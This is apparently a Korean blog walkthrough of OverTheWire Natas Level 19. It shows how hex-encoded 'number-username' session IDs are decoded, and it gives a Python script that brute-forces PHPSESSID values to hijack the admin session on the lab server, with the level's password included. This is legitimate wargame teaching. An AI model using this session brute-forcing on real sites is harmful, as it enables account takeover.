Natas Level 19 입니다.
저번 문제와 비슷하지만 약간 다릅니다.
Level 19 문제입니다.이전 레벨과 거의 동일한 코드를 사용하지만, 세션ID가 순차적이지 않다고 합니다.
이전 레벨의 세션값은 1~640 중에 하나의 숫자였죠. 따라서 brute force 공격을 하기가 용이했습니다.
그러나 세션값이 순차적이지 않으면.. 코드를 짤 기준이 있어야 자동화 프로그램을 만드는데, 그게 어려워 집니다.
완전히 랜덤으로 생성되는 것일까요? 일단 현재 세션값을 확인해 봅시다.
개발자도구(F12) -> Application -> Cookies
id password 아무렇게나 입력하고, 세션값을 확인해 보았습니다.
세션값은 "3235372d6868" 이군요... 정말 랜덤인 걸까요?
혹시 세션값 생성에 대한 규칙이 있는지 알아보기 위해, Burp Suite를 이용해 보겠습니다.
아이디 대충 입력하고 로그인 버튼을 눌러서, 패킷을 잡아줍시다.
그리고 오른쪽 마우스를 누른 후 "Send to Repeater" 버튼을 눌러, Repeater로 패킷을 옮겨 줍시다.
Repeater를 이용하면 여러 요청에 대한 응답을 빠르게 받아볼 수 있습니다.
그 후, PHPSESSID 값을 지우신 후 왼쪽 위 "Send"를 눌러주세요.
그러면 사진과 같이 오른쪽에 응답과 PHPSESSID값이 오게 됩니다.
제가 여러 번 시도해 본 결과,
3330342d61736466
3231392d61736466
392d61736466
3430352d61736466
3136342d61736466
이렇게 응답이 왔습니다.
뒤쪽에 "2d61736466" 값이 공통적으로 붙어있고, 앞쪽은 30번대 숫자가 1개에서 3개 사이로 존재하는 그런 규칙인 것 같은데요...
규칙이 있는 것 같긴 하지만, 기준을 잡고 코드를 짜기엔 너무나도 광범위합니다.
단순한 규칙이 아닌 걸까요?
혹시 암호화되거나 인코딩된 데이터인가? 확인해 봅시다.
꽤 괜찮은 인코딩 디코딩 사이트입니다. 원하는 문구를 입력하면 한번에 여러가지 인코딩/디코딩을 수행해 줍니다.
위에서 알아낸 세션값을 입력해보았습니다. 다른 값들은 별로 의미가 없어 보이는데,
여기 굉장히 보기 편한 문자열이 있습니다.
304-asdf
219-asdf
9-asdf
405-asdf
164-asdf
숫자-asdf 형식으로 디코딩 되었습니다. 이 값들은 각각
3330342d61736466
3231392d61736466
392d61736466
3430352d61736466
3136342d61736466
이 세션값들과 일치합니다.
저번 레벨에서 세션값은 1~640 사이였으니, 이번에도 동일한 범위인 것 같습니다.
그런데 뒤에 asdf는 뭐지?
바로 제가 생각없이 입력했던 ID 였습니다!!!
모든 비밀이 풀렸습니다. 이제 문제를 해결할 수 있습니다.
우리는 "admin" 계정으로 로그인 해야 하기 때문에,
1-admin ~ 640-admin 값을 대입하면 되는겁니다.
단, 이 문자열들을 HEX 값으로 변경해서 말입니다.
이제 파이썬 자동화 코드를 짜봅시다.
import requests
username = 'natas19'
password = '8LMJEhKFbMKIL2mxQKjv0aEDdk7zpT0s'
url = f"http://{username}.natas.labs.overthewire.org/?debug=true"
for i in range(0,641):
s = (str(i)+"-admin").encode('utf-8')
s_hex = s.hex()
response = requests.post(url, auth=(username, password), cookies={"PHPSESSID": s_hex}, )
print(f"exploit : {s_hex}, {i}-admin" )
if "You are an admin." in response.text:
print(response.text+"\nfinished!!!!")
break
소스코드입니다.
0-admin 부터 640-admin 까지 자동화 코드를 통해 만들고,
해당 문자열을 16진수화시켜 공격구문에 대입하고 있습니다.
마지막으로 응답에 "You are an admin" 구문이 존재한다면, 반복문을 종료하고 "finished!!!!" 문구를 출력합니다.
참고로, 16진수화 시키기 전에 utf-8인코딩을 하는 이유는 ( .encode('utf-8') 부분 )
utf-8인코딩을 하지 않고 바로 hex함수를 쓰면 에러가 나더라구요. 필수인 부분이니 꼭 해주시기 바랍니다.
이제 실행해 보겠습니다.
프로그램 실행 과정입니다.
매 공격마다 hex값과 디코딩된 값을 함께 출력해 줍니다.
공격 종료!
admin 계정의 세션값을 찾아내어, 프로그램이 종료되고 password를 획득할 수 있었습니다.
세션값이 생성되는 규칙을 유추하는 문제였습니다.
추가로 웹페이지 로그인 화면입니다.
'Hacking > [Web]Natas' 카테고리의 다른 글
OverTheWire [Natas Level 21] (0) | 2023.04.04 |
---|---|
OverTheWire [Natas Level 20] (0) | 2023.04.04 |
OverTheWire [Natas Level 18] (0) | 2023.03.29 |
OverTheWire [Natas Level 17] (4) | 2023.03.29 |
OverTheWire [Natas Level 16] (0) | 2023.03.28 |